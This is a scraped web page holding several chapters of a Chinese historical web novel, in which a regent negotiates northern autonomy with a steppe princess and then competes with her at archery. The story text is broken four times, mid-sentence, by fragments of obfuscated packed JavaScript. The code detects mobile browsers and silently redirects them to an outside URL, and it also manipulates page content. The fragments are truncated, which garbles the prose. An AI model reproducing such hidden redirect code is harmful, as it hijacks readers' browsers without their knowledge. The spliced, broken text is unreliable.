赫兰真瞳孔微缩,但神色不变:“摄政王殿下,我带来的不仅是三千狼骑,更是草原各部对和平的渴望。若朝廷连这点诚意都不愿给予,那我赫兰真今日便是来错了地方。” 帐内气氛再度紧绷起来,几位将领交换着眼神,有人已微微点头,有人则眉头紧锁。萧御的手指停止了敲击,缓缓握成拳头,目光如刀般射向赫兰真。 谢凤卿端坐于主位之上,身形稳如泰山。那是由北地铁杉木精心打造的交椅,扶手处雕刻着栩栩如生的金凤展翅纹样,象征着她在北疆无可撼动的权威。赫兰真提出“北疆自治”这般石破天惊的要求,谢凤卿的神色却未有丝毫变化,仿佛只是听到了一句寻常的问候。 她缓缓伸手,端起了身旁小几上的白瓷茶盏。那茶盏胎质细腻,釉色温润,是官窑**的上品,与她玄色袍服上以金线绣成的凤凰图样相得益彰。她的手指修长有力,此刻却以一种近乎艺术的手法,用杯盖轻轻拨弄着浮在水面的碧绿茶沫。每一个动作都显得优雅从容,不见半分急躁,恰似她执掌北疆军政大权这些年来,面对无数危机时一贯的沉着。 帐内落针可闻,唯有杯盖轻碰盏沿的细微声响,如同平静湖面上投入的一颗小石子,激起无形的涟漪。几位将领屏息凝神,目光在谢凤卿与赫兰真之间来回移动。萧御坐在谢凤卿下首,面色看似平静,但右手食指在膝上极有规律地轻点,暴露出他内心的审慎计算。几位性如烈火的将领已然面泛红潮,手按剑柄,只待摄政王一声令下。 谢凤卿终于抬起眼帘,目光平静地看向赫兰真。那目光既不锐利,也不冰冷,却仿佛能穿透一切表象,直抵人心深处。当她开口时,声音平和,却带着一种不容置疑的权威,清晰地传遍军帐的每个角落:“哦?不知王女所说的‘自治’,具体是何含义?本王愿闻其详。” 赫兰真见对方如此镇定,心中微微一凛。她原以为这番惊世骇俗的言论至少会让这位摄政王神色有变,却不料对方竟如深潭般难以测度。但开弓没有回头箭,事已至此,她只能勇往直前。她挺直脊背,宛如雪原上迎风而立的白杨,朗声道出的每一个字都清脆有力,带着草原儿女特有的直率: “很简单!北疆的土地,由北疆人自己管理!朝廷不得任意干涉!赋税如何征收,军队如何组建、由谁统领,以及处理各部**的律法,都由我们北疆人自己决定!我们只需名义上尊奉大燕皇帝为主,按时朝贡即可!”她的话语如同她的箭,又快又直,直指核心,没有丝毫中原官场常见的迂回婉转。 这番言论如同在滚烫的油锅中泼入一瓢冷水,顿时在帐内炸开。性如烈火的石勇第一个忍不住,猛地一拍座椅扶手,霍然起身,怒视赫兰真:“荒谬!这分明就是裂土封王,形同独立!朝廷岂能答应?!”石勇的声音如同惊雷,在军帐中回荡,他额角青筋暴起,手已不自觉地按在了剑柄上。其余将领虽未如他这般激动,却也纷纷点头,看向赫兰真的目光充满了警惕与不满。 “石将军,稍安勿躁。”谢凤卿淡淡开口,声音不高,却自有一股威严,瞬间压下了帐内躁动的气氛。石勇张了张嘴,最终在谢凤卿平静的目光注视下,愤愤地坐回原位,但一双虎目仍死死瞪着赫兰真,仿佛要将她生吞活剥。 谢凤卿不紧不慢地放下茶盏,白瓷与檀木小几接触,发出一声清脆而轻微的“咔哒”声。这声音在寂静的帐内格外清晰,仿佛一个明确的信号,将所有注意力重新拉回到她的身上。她的目光重新回到赫兰真身上,那目光依旧平静,却仿佛带着千钧之力,让赫兰真不由自主地更加挺直了背脊。 “王女,”谢凤卿缓缓说道,每个字都咬得极准,确保帐内每个人都能听清,“普天之下,莫非王土;率土之滨,莫非王臣。北疆,自古以来便是大燕版图不可分割的一部分,自然要遵循大燕的律法,接受朝廷的统一治理。此乃国本,不容动摇。” 她没有提高声调,也没有任何夸张的手势,但话语中蕴含的坚定意志和不容挑战的权威,却比任何咆哮都更有力量。这不仅是表明立场,更是在明确底线——大燕王朝对北疆的**,是绝对不容谈判的基石。 在这一刻,军帐内的空气仿佛凝固了。两位分别代表中原文明与草原文明的女性领袖,透过短短几句对话和无声的眼神交锋,已经进行了一场激烈的心理博弈。 赫兰真的直率与锐利,像一柄出鞘的弯刀,寒光逼人。她带来的“自治”要求,看似是投诚的条件,实则是试探大燕朝廷底线、为族人争取最大生存空间的策略。她深谙谈判之道,开局便抛出极高的要价,为后续可能的妥协留出余地。她琥珀色的眼眸中,除了坚定,也藏着一丝不易察觉的观察,她在仔细评估谢凤卿的每一分反应,试图从中窥见大燕朝廷内部的真实态度和北疆军力的虚实。 而谢凤卿的从容与平静,则如同深不可测的大海,表面波澜不惊,内里却可能蕴藏着滔天巨浪。她何尝不知赫兰真的打算?她以“愿闻其详”诱导赫兰真尽述其要求,既是展现风度,更是为了全面了解对方的底牌。随后,她并未在具体条款上纠缠,而是直截了当地重申大燕对北疆不容置疑的**,从根本上确立了此次谈判的基本原则。这番应对,既不失大国摄政王的风范,又寸土不让地守住了核心利益,可谓高明。 萧御在一旁静观其变,心中对谢凤卿的应对暗自赞许。他深知,面对赫兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16670523|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真这般强势且极具魅力的部落领袖,任何一丝犹豫或退让都可能被对方解读为软弱,进而得寸进尺。谢凤卿此刻展现出的坚定,恰恰是维持北疆长远稳定所必需的。同时,他也注意到赫兰真在听到“此乃国本,不容动摇”时,眼角微不可察地抽动了一下,这细微的表情变化未能逃过他那双锐利的眼睛。 赫兰真猛地站起身,动作迅猛如草原上突受惊扰的猎豹。红色骑装如同一团燃烧的火焰,在略显昏暗的军帐内划出一道刺目的流光。她脸上因激动和愤怒而泛起一层薄红,从颧骨蔓延至颈项,琥珀色的眼眸中仿佛有实质的火焰在跳动。 “既然如此,那我们之间就没什么好谈的了!”她的声音清脆却带着刀刃般的锋利,每个字都像是从齿缝间挤出来的一般,“我赫兰真和我的族人,宁可回到草原上去面对内斗的刀剑,也绝不接受被束缚的命运!” 赫兰真说完,毫不迟疑地转身,红色骑装下摆划出一个凌厉的弧度。她的步伐坚定而有力,靴底踏在毡毯上发出沉闷的声响,一声接一声,在寂静的军帐内回荡。那六名狼骑亲卫见状,立即调整站位,形成护卫阵型,紧随其后。 帐内几位将领面色骤变,有人下意识地按住剑柄,有人则将目光投向端坐主位的谢凤卿,等待指令。萧御眼神微冷,身体微微前倾,已做好随时拦截的准备。空气仿佛被抽干,每一次呼吸都变得艰难。 赫兰真离帐门仅有五步之遥时,谢凤卿终于有了动作。她并未起身,只是从容抬手,做了一个虚按的手势,语气依旧不疾不徐,却带着一种奇特的穿透力,让赫兰真的脚步不由自主地放缓。 “王女何必如此着急。”谢凤卿的声音平和,却像一道无形的墙,挡住了赫兰真离去的步伐。 赫兰真停下脚步,半侧过身,下巴微扬,眼神中满是警惕与不信任:“摄政王还有何指教?若是重复那些‘普天之下莫非王土’的大道理,就不必多言了。 谢凤卿微微摇头,指尖轻轻敲击座椅扶手,发出有节奏的轻响。“自治,并不等同于独立。”她开场明义,目光扫过帐内众将,最后定格在赫兰真身上,“朝廷理解北疆地域特殊,风俗与大燕腹地有所不同。” 她稍作停顿,让这句话的含义充分沉淀,随后才继续道:“在某些非核心事务上,例如部分赋税的留存比例用于本地建设,保留部落的部分传统习俗,甚至在一定范围内组建由北疆子弟构成的守备军协助维持地方治安,这些都可以商议。” 这几项让步看似简单,实则意味深长。赋税留存意味着北疆可以获得财政自主性,传统习俗的保留关乎文化认同,而北疆子弟组成的守备军则暗含军事自主的可能。帐内几位文官模样的幕僚迅速交换眼神,有人微微点头,有人则眉头紧锁,显然在快速权衡这些提议的深远影响。 第93章王爷,您认为她会接受吗 赫兰真原本决绝的姿态有了一丝松动。她完全转过身,重新面对谢凤卿,目光中的火焰稍敛,取而代之的是审慎的评估。她没想到谢凤卿会如此直接地提出这些实质性的让步,这完全超出了她最初的预期 然而就在这时,谢凤卿的语气微微加重,目光变得锐利如刀,仿佛能穿透赫兰真表面的强硬,直视她内心深处的计算。“但是——”这个转折词被她咬得极重,瞬间将帐内刚刚有所缓和的气氛重新拉紧。 “兵权必须归于朝廷,律法必须遵循大燕法典,赋税的大头必须上缴国库。”谢凤卿一字一顿,每个字都清晰无比,不容任何误解,“此三条,乃是底线,绝无妥协可能。” 这三条底线,如同一道不可逾越的鸿沟,明确划分了中央与地方权力的界限。兵权关乎**,律法关乎统治基础,赋税关乎国家运转。任何一位统治者都不可能在这些核心领域做出实质性让步。 萧御闻言,紧绷的肩膀几不可察地放松了些许。其他将领也纷纷露出“理当如此”的表情。帐内文官们则开始窃窃私语,显然在讨论这三条底线的具体含义与执行细节。 赫兰真站在原地,红色骑装下的胸膛微微起伏。她的目光与谢凤卿在空中交锋,试图从那平静无波的眸子中读出更多信息。谢凤卿提出的条件,远比她预想的要灵活,但那三条底线,却也掐住了她最在命脉上。 草原部落可以保留部分传统,可以拥有一定的财政自主,甚至可以在一定程度上维持地方武装。但军队的最终指挥权、法律的最终裁决权、财政的最终分配权,必须掌握在中央朝廷手中。这意味着北疆可以获得****,但必须在统一国家的框架内。 这一刻,军帐内静得能听到火把燃烧的噼啪声。所有人都在等待赫兰真的回应。是接受这份有条件的自治,带着族人融入大燕体系,还是拒绝这份协议,回归草原面对未知的内斗风险? 赫兰真深吸一口气,红色骑装随着她的呼吸微微波动。她意识到,谢凤卿并非一味强硬,而是展现出了**家的智慧与灵活。那些让步是实实在在的,而那三条底线,从国家治理的角度看,也确实有其合理性。 在这个北疆大营的军帐内,两位女性的对决已经超越了个人恩怨,成为两种治理理念的碰撞。赫兰真代表着草原部落对自由传统的坚守,谢凤卿则代表着统一国家对秩序与整合的追求。 当赫兰真缓缓走回帐中,重新站在谢凤卿面前时,她的眼神已经发生了变化。从最初的决绝,到后来的审视,再到如今的深思,这一系列心理变化在她脸上清晰可见。 “摄政王提出的条件,确实出乎我的意料。”赫兰真终于开口,声音中少了几分尖锐,多了几分凝重,“但有关兵权、律法和赋税的三条底线,关乎我族人生存根本,我需要时间与部落长老商议。” 谢凤卿微微颔首,似乎早已预料到这个回应:“理应如此。本王可以给王女三日时间。这三天,你和你的部下可以留在营中,我们会以礼相待。” 这不是结束,而是另一轮博弈的开始。但至少,对话的大门没有完全关闭。赫兰真轻轻点头,红色骑装再次划出一道弧线,但这一次,她的步伐不再决绝,而是带着沉重与思考。 当赫兰真与其随从被引领离开后,军帐内陷入一片寂静。萧御走到谢凤卿身边,低声道:“王爷,您认为她会接受吗?” 谢凤卿目光深远,轻声道:“这取决于她是否明白,真正的自治,不在于对抗,而在于在统一国家中找到属于自己的位置。” 两人的目光在空中再次交汇,这一次,不再是简单的审视与打量,而是意志与理念的直接碰撞!仿佛有无形的火花在噼啪作响,帐内的温度似乎都随之升高了几分,气氛凝重得让人喘不过气。赫兰真眼中是毫不退让的倔强与对自由的渴望,而谢凤卿眼中,则是属于统治者的冷静、理智以及对国家统一的绝对坚持。 为了缓和之前谈判桌上几乎破裂的气氛,也为了更直观地了解这位北疆女神的实力,谢凤卿主动提议到校场箭场切磋一二。这个提议,正中赫兰真下怀,她对自己的箭术有着绝对的自信,正想借此机会,杀杀这位年轻摄政王的威风。 雪后的北疆箭场,仿佛被天地间最纯净的素白重新涤荡过一般,呈现出一片辽阔而肃穆的景象。连日肆虐的暴风雪终于停歇,留给世人的是一个被厚厚积雪覆盖的广袤原野。箭场位于大营西侧,原本平坦的土地此刻披上了足有半尺深的银装,在初升朝阳的照射下,闪烁着无数细碎而璀璨的光芒,耀眼得令人几乎无法直视。 远处的箭靶在明亮的阳光下伫立,靶心那抹红色在素白世界的映衬下格外醒目,宛如雪地中傲然绽放的红梅,又似战士胸膛热血凝固成的朱砂痣。空气清冷彻骨,每一次呼吸都带着凛冽的寒意,呵出的白气在晨光中袅袅升起,随即消散在干冷的北风里。箭场四周插着的旌旗在风中猎猎作响,旗面上积着的薄雪不时被风拂落,飘散成细密的雪雾。 谢凤卿一袭玄色绣金凤战袍,外罩同色大氅,领口簇拥着的玄狐风毛在寒风中轻轻颤动。她稳步走向箭场中央,脚下积雪发出咯吱咯吱的声响,在寂静的清晨格外清晰。这个提议确实出于**智慧——在谈判桌上僵持不下时,转移到武场较技,既能缓和剑拔**张的气氛,又能借此窥探对手的真实实力。更何况,她对这位号称“北疆女神”的王女早有耳闻,今日正可亲眼验证其传奇箭术是否名副其实。 赫兰真几乎在谢凤卿话音落下的瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671847|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间便扬起了唇角。这个提议正中她的下怀。她对自己的箭术有着绝对的自信,这是她在马背上成长、在厮杀中磨砺出的看家本领。此刻正是杀杀这位年轻摄政王威风的大好时机,让她见识见识什么是真正的草原功夫。 赫兰真利落地取下背负的那张暗银色狼头长弓,动作流畅得仿佛这把弓是她身体的延伸。这张弓来历不凡,弓身以北海玄铁为骨,在锻造时掺入了雪山深处的寒铁精华,使得整张弓在阳光下会泛出若有若无的幽蓝光晕。弓臂两端镶嵌着七颗雪狼最锋利的牙齿,按照北斗七星的方位排列,据说这样能让箭矢获得星辰的指引。弓弦则是取自天山雪豹的大筋鞣制而成,经过草原秘传的工艺处理,坚韧异常却又不失弹性。 她修长的手指轻轻抚过冰凉的弓身,指腹感受着上面细密的纹路——那是无数个日夜苦练留下的印记,每一道划痕都记录着一段故事。阳光照射在弓身上,反射出冷冽的寒光,与周围雪地交相辉映,仿佛这把弓就是为这片雪原而生。弓柄处缠绕着暗红色的皮革,那是她用第一头猎杀的雪狼皮亲手鞣制而成,经过岁月的摩挲,已经呈现出温润的光泽。 "久闻摄政王不仅谋略过人,更有一手出神入化的银针绝技,"赫兰真的声音清脆如玉珠落盘,却又带着草原儿女特有的直率与野性,在空旷的箭场上回荡,"能于百步之外取人性命,纤毫之间定人生死。"她的唇角扬起一抹混合着自信与傲然的明媚笑意,琥珀色的眼眸中闪烁着挑战的光芒,"却不知,与我这自幼在马背上练就、饮惯了野兽鲜血的神箭相比,孰强孰弱?" 这番话看似客气,实则暗藏机锋。她特意点出谢凤卿的银针绝技,既展示了己方情报工作的细致,又巧妙地将比较的焦点引向自己最擅长的领域。草原儿女向来以箭术为荣,她这一手箭法曾射落百步之外的苍鹰之目,曾一箭贯穿三名敌人的咽喉,这些战绩早已成为草原上的传奇。如今在这样开阔的雪原箭场上比试,正是她大展身手的好机会。 谢凤卿闻言,面色依旧平静如水。她轻轻抬手,示意侍从呈上她的弓箭。这是一张造型优雅的紫檀木长弓,弓身雕刻着精细的云纹,与赫兰真那张充满野性力量的狼头弓形成鲜明对比。这张弓选用百年紫檀木心所制,经过七七四十九天的精心打磨,弓身呈现出深沉的紫红色光泽。弓弦是用江南特产的冰蚕丝编织而成,看似纤细却蕴含着惊人的韧性。 她不急不缓地说道:"王女过奖了。银针之术不过微末小技,怎比得上王女驰骋草原的绝世箭法。今日切磋,还望王女不吝赐教。"她的声音平和从容,却自有一股不容置疑的威仪。随着她握弓的动作,袖口隐约露出纤细的手腕,但握弓的姿势却稳如磐石,显示出经过长期训练的专业素养。 第94章摄政王何必过谦 赫兰真仔细观察着谢凤卿的每一个细微动作。这位摄政王年纪虽轻,但气度沉稳得惊人。从谈判桌到箭场,她始终保持着那种掌控全局的从容,仿佛一切尽在掌握之中。这种深不可测的镇定,反而让赫兰真心中升起一丝不易察觉的警惕。也许这场比试,并不像表面看起来那么简单。 她注意到谢凤卿握弓的手指关节处有细微的茧子,这是长期练习射箭留下的痕迹。而且谢凤卿站立时重心微沉,双脚与肩同宽,这是个极其稳定的射击姿势。更让赫兰真暗自心惊的是,谢凤卿在说话时,目光始终保持着适当的接触,既不失礼,又不会过分专注,显示出她能够同时处理多项事务的过人能力。 两位女子站在雪地中,一人红衣似火,一人玄衣如墨,构成了一幅极具张力的画面。赫兰真的气势如同草原上的猎豹,充满野性的张力与随时准备爆发的力量;而谢凤卿则像是深不见底的寒潭,表面平静无波,内里却暗流涌动。她们手中的弓箭也恰如其分地代表了各自的特质:狼头弓张扬而霸气,紫檀弓内敛而深沉。 四周的积雪在阳光下泛着晶莹的光泽,远处的箭靶在风中微微颤动。偶尔有风吹过,卷起细碎的雪沫,在空中形成闪烁的晶雾。围观将士们都屏息凝神,生怕错过任何一个细节。这场比试早已超越了简单的技艺切磋,成为两种文化、两种精神的碰撞。 赫兰真微微调整了下站位,靴子在雪地上踩出细微的声响。她深知在箭术比试中,心态往往比技术更重要。一个顶级的箭手必须做到心无杂念,人弓合一。她开始调整呼吸,让自己的心境逐渐平静下来,就像暴风雪前的短暂宁静,蕴含着巨大的能量。 谢凤卿似乎看穿了她的心思,却不急于开始比试。她反而好整以暇地检查着箭矢,动作优雅得如同在抚琴。这支箭矢采用青竹为杆,箭羽是精心挑选的雕翎,箭镞则泛着幽冷的寒光。她的每一个动作都显得那么从容不迫,仿佛在进行一场仪式而非比试。 雪后的箭场格外安静,只能听到风吹旌旗的猎猎作响。阳光透过稀薄的云层,在雪地上投下斑驳的光影。极目远眺,可以看到远山如黛,雪线以上皑皑白雪与湛蓝天空形成鲜明对比。这样开阔的视野对于箭手而言既是优势也是挑战——没有障碍物的干扰,但也要面对更复杂的光线变化。 赫兰真抬头望了望天空,注意到云层正在缓慢移动。这意味着光线条件可能会在比试过程中发生变化,这对于需要精准瞄准的箭术而言是个变数。但她反而露出一丝笑意,真正的神箭手就应该能够适应各种环境变化。她在草原上经历过更恶劣的天气,这点光线变化根本不算什么。 谢凤卿也注意到了天气的变化,但她似乎并不在意。她轻轻拂去弓身上落下的一片雪花,动作轻缓得如同对待一件珍贵的艺术品。这种专注与细致,显示出她对待每件事物都力求完美的性格特点。就连站在远处的萧御都不得不承认,这位摄政王确实有着超乎常人的定力。 在草原文化中,箭术不仅仅是一种技能,更是一种精神的传承。赫兰真想起小时候,族中长老教导她射箭时说过的话:"一支箭的飞行轨迹,就像人生的道路,既要有一往无前的勇气,也要有适时调整的智慧。"这张狼头弓陪伴她经历了无数场比试和战斗,每一次拉弓都像是在与祖先对话。 而中原的箭术则更注重"正心诚意"的修养。谢凤卿回想起太傅的教诲:"射以观德,一支箭射出去,就能看出一个人的品性。"中原的射艺讲究"内志正,外体直",强调身心合一的境界。这种文化差异也体现在她们持弓的姿势和瞄准的方式上。 赫兰真采用的是动态瞄准,她会根据风向和光线不断微调姿势;而谢凤卿则更注重静态的稳定性,力求在发射前将一切调整到最佳状态。两种风格各有千秋,难分高下,但今天必须要决出个胜负。 当两人终于准备就绪时,整个箭场的气氛达到了最紧张的时刻。所有围观者都不自觉地屏住了呼吸,偌大的场地静得能听到雪花落地的声音。赫兰真率先举弓,狼头弓在她手中仿佛被注入了生命,暗银色的弓身在与雪地反光的交织中泛出神秘的光泽。 谢凤卿则不疾不徐地搭箭上弦,紫檀木弓在她手中显得格外协调。她的动作如行云流水,没有一丝多余的动作,每个细节都做到极致完美。两位女子对视一眼,都在对方眼中看到了必胜的决心。这场比试,现在才真正开始。 赫兰真站在北疆箭场的雪地中央,寒风卷起细碎的雪沫,扑打在她红色的骑装上。这身装束如同草原上燃烧的火焰,在银装素裹的世界里格外醒目。她深吸一口凛冽的空气,感受着寒意深入肺腑,却让思绪飘回了离开王庭前的那个夜晚。 那是在王族大帐内,炭火盆中跳动的火焰映照着部落长老们布满皱纹的脸庞。大长老赫兰芎——她的兄长,紧紧握住她的手,声音低沉如远古的祭祀鼓声:“赫兰真,你此去北疆大营,面对的不是普通对手。谢凤卿此人深不可测,切不可被其年轻的外表所迷惑。”他琥珀色的眼眸中闪烁着担忧的光芒,“她能在弱冠之年执掌大燕权柄,令北狄闻风丧胆,必有过人之处。草原上的狼群最危险的不是露出獠牙的那一刻,而是潜伏在草丛中静静观察的时分。” 帐内其他长老纷纷点头,一位须发皆白的老者补充道:“王女,我们族未来的命运,全系于此行。你既要展现草原儿女的威严,又不可过于咄咄逼人。就像射雕时弓弦不能拉得太满,也不能放得太松。” 赫兰真记得自己当时自信满满地回应:“诸位长老放心,我赫兰真三岁学射,七岁猎狼,什么风浪没见过。谢凤卿再厉害,也不过是个中原女子,怎能体会我们草原人在马背上磨砺出的真本事?”她举起随身携带的狼头长弓,“有这陪伴我多年的伙伴在,定能让大燕摄政王见识什么是真正的箭术。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16679950|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 然而此刻,直面谢凤卿,赫兰真才真正体会到长老们叮嘱的分量。那位端坐于主位的摄政王,年纪不过二十出头,却有着超乎年龄的沉稳。她那双平静如水的眼眸背后,似乎隐藏着滔天巨浪;那看似随和的语气中,蕴含着不容置疑的权威。赫兰真不禁在心中暗叹:长老们说得对,这谢凤卿果然非同小可。 赫兰真微微昂首,任由寒风拂过她小麦色的面颊,卷起几缕散落的发丝。这个动作带着草原王女特有的骄傲,仿佛在向对手宣告:我赫兰真不会在任何场合示弱。她回想起离开部落前,长老们的最后嘱咐:“记住,你代表的是整个草原的尊严。无论面对什么样的挑衅,都要保持草原雄鹰的姿态。” “摄政王何必过谦?”赫兰真的声音清脆如玉珠落盘,却又带着草原儿女特有的直率,“不如我们就以三百步外的箭靶为的,各射三箭,以靶心多少定胜负,如何?”她伸手指向远处那些在雪地中屹立的箭靶,语气中充满自信。这个提议并非一时冲动,而是她深思熟虑后的选择。箭术是草原人最引以为傲的技能,也是最能展示实力而不伤和气的比试方式。 谢凤卿顺着她所指的方向望去,轻轻颔首:“就依王女所言。”她的目光扫过那些靶子,心中快速计算着风向、光线等影响因素。雪地反光强烈,对射手的眼力是极大考验;寒风不时掠过,也会影响箭矢的轨迹。这些对常年在北疆驻守的她来说早已**以为常,但对来自草原的赫兰真而言,或许也是熟悉的场景。 箭场四周肃立的北疆将士们,虽然保持着军纪严明,但眼神中不难看出对这场比试的期待与好奇。他们早已听闻赫兰真“北疆女神”的称号,传说她能百步之外射落苍鹰之目。而他们对自家摄政王的银针绝技也同样充满信心——那种能在纤毫之间定人生死的技艺,曾无数次在战场上创造奇迹。 赫兰真注意到将士们的目光,心中泛起一丝波澜。她想起部落长老的另一句叮嘱:“中原人重面子,讲排场。你既要展现实力,也要给足对方面子,毕竟我们此行是来投诚,而非挑衅。”这其中的分寸拿捏,远比射中靶心要复杂得多。 风忽然加大,卷起地面积雪,形成一道短暂的雪幕。赫兰真眯起眼睛,感受着风向的变化。在草原上,她曾在比这更恶劣的天气中射中移动的靶子。北疆的寒冷与草原的寒风并无二致,都是她熟悉的对手。 赫兰真下意识地抚摸了一下背负的狼头长弓。这张弓陪伴她经历了无数场比试和战斗,弓身上每一道纹路都是她成长的见证。她想起第一次拉满这张弓时的情景,那时她还是个孩子,连弓都举不稳。而现在,她能在奔驰的骏马上连发三箭,箭箭命中目标。 谢凤卿似乎看穿了她的心思,淡淡一笑:“早就听闻王女箭术超群,今日能亲眼得见,实乃幸事。”这话语看似客气,却暗含深意。赫兰真敏锐地察觉到,这是对方在试探自己的虚实。 第95章好箭法 “摄政王过奖了。”赫兰真不卑不亢地回应,“草原儿女自幼与弓箭为伴,不过是熟能生巧罢了。比不得摄政王的银针绝技,能于细微处见真章。”她特意提到银针,既表示自己对对手的了解,也暗示这场比试的公平性——箭术与针术虽不同源,但都需要极高的精准度。 这场箭术比试,表面上是为了缓和谈判桌上紧张的气氛,实则承载着更深层的意义。对赫兰真而言,这是展示草原实力、为部落争取更好条件的机会;对谢凤卿来说,这是试探赫兰真实力、了解草原文化的重要窗口。 赫兰真想起离开王庭前,兄长赫兰芎的叮嘱:“记住,比试的胜负不重要,重要的是让大燕看到我们的价值。草原人不需要施舍,我们需要的是尊重。”这句话此刻在她心中回响,让她更加明确自己的目标。 她仔细观察着谢凤卿的一举一动。那位年轻的摄政王站在雪地中,玄色袍服与银装素裹的世界形成鲜明对比,仿佛一幅水墨画中的主角。她的每个动作都从容不迫,带着一种天生的威仪。赫兰真不得不承认,这位对手确实配得上“深不可测”的评价。 赫兰真深吸一口气,将杂念排除脑海。此刻不是犹豫的时候,草原儿女向来崇尚行动而非空谈。她向前迈出一步,靴子在积雪上留下清晰的印记。 “既然摄政王同意,那我们就开始吧。”赫兰真的声音在寒风中格外清晰,“按照草原的规矩,比试箭术前要敬拜天地,以示公平。不知摄政王意下如何?” 这个提议让谢凤卿眼中闪过一丝赞赏。她微微点头:“客随主便,就依草原的规矩。” 赫兰真从箭囊中取出一支箭,箭头朝上,双手持箭举过头顶,用草原语言吟唱起古老的祷词。这是草原射手世代相传的仪式,意在祈求天地见证比试的公正。尽管身处异乡,但这个仪式让她感到与草原的联系从未断绝。 当最后一个音符在寒风中消散,赫兰真放下箭矢,目光坚定地望向远处的箭靶。这一刻,她不再是孤身一人的草原王女,而是承载着整个部落希望的使者。无论结果如何,她都要让大燕看到草原儿女的风采。 赫兰真不再多言,她深吸一口寒气,双脚微分,稳稳立于雪地之上。这个姿势她从小练过无数次,每一个角度都经过千锤百炼。她左手握弓,右手缓缓从箭囊中抽出一支雕翎箭。箭簇在阳光下闪着冷光,如同她此刻的眼神一般锐利。 她调整呼吸,感受着寒风的方向和力度。这一刻,周围的一切仿佛都静止了——旗幡的摆动、积雪的飘落、甚至时间的流逝,都在她的感知中变得缓慢而清晰。这是顶尖射手特有的专注状态,当她举起长弓时,整个世界只剩下她、弓和远处的靶心。 谢凤卿静静立于一旁观察,心中不禁暗暗赞叹。赫兰真举弓的姿势完美得无可挑剔,从站姿到握弓的角度,从搭箭的力道到瞄准的专注,每一个细节都彰显着这是经过长期严格训练的结果。这位蛮族王女确实名不虚传,单是这起手式,就已显露出宗师风范。 寒风掠过,卷起地面积雪,在空中形成一阵细密的雪雾。赫兰真眯起眼睛,长弓已然拉满,弓弦贴于颊侧,箭尖微微调整着方向。她全身肌肉紧绷如猎豹,充满了力量与美感。箭场四周观望的士兵们不自觉地屏住了呼吸,生怕一丝声响打扰了这精彩的一幕。 赫兰真的唇角勾起一抹势在必得的笑意,那笑容中既有草原儿女与生俱来的野性骄傲,也带着几分向对手**的意味。这一箭,对她而言意义非凡——不仅要射中靶心,更要借此宣告草原儿女的尊严与力量。她修长的手指轻轻搭在弓弦上,指尖感受着雪豹大筋制成的弓弦传来的细微震动,仿佛能与这张陪伴她多年的神弓心灵相通。 她的目光如鹰隼般锐利,牢牢锁定三百步外的靶心。那个红色的圆点在雪地的映衬下格外醒目,但在如此距离下,在常人眼中也不过是个模糊的小点。赫兰真却能将每一个细节看得分明,甚至连靶心因为风吹日晒而产生的细微褪色都尽收眼底。她微微调整呼吸,让心跳逐渐平稳下来,整个人进入一种玄妙的状态——仿佛整个世界都静止了,只剩下她、手中的弓和远处的靶心。 谢凤卿尚未答话,赫兰真似乎已经迫不及待想要展示她引以为傲的箭术。只见她深吸一口寒气,双脚不丁不八站定,这个姿势看似随意,实则稳如磐石。她的左脚微微前踏,右腿稍稍后撤,身体重心自然下沉,整个人如同扎根雪地的白杨,任尔风吹雪打,我自岿然不动。 左手握弓如抱满月,暗银色的狼头弓在她手中仿佛被注入了生命。弓身上的雪狼牙齿在阳光下泛着冷冽的光芒,弓臂因为受力而微微弯曲,展现出优美的弧线。右手搭箭如捻兰花,三指轻捻雕翎箭尾,动作优雅得不像是在张弓搭箭,倒像是在进行某种古老的仪式。每一个动作都流畅如行云流水,充满了力量与美感,让人不禁想起草原上蓄势待发的猎豹。 弓弦被她缓缓拉开,发出细微而令人牙酸的"咯吱"声。这声音虽然不大,但在寂静的雪原上却格外清晰,显示出这张弓所需的力量何等惊人。围观的北疆将士们不禁暗自咂舌,要拉开这等强弓,没有千斤之力绝难办到。而赫兰真一个女子,竟能如此举重若轻,实在令人惊叹。 当弓弦被拉到最大弧度时,赫兰真屏住了呼吸。这一刻,时间仿佛静止了。她的眼神专注如炬,整个世界在她眼中只剩下那个红色的靶心。疾风掠过她的发梢,卷起几缕青丝,她却浑然不觉。就连飘落的雪花,在她眼中也仿佛慢了下来。 "嗖——!" 一声尖锐的破空厉啸骤然响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 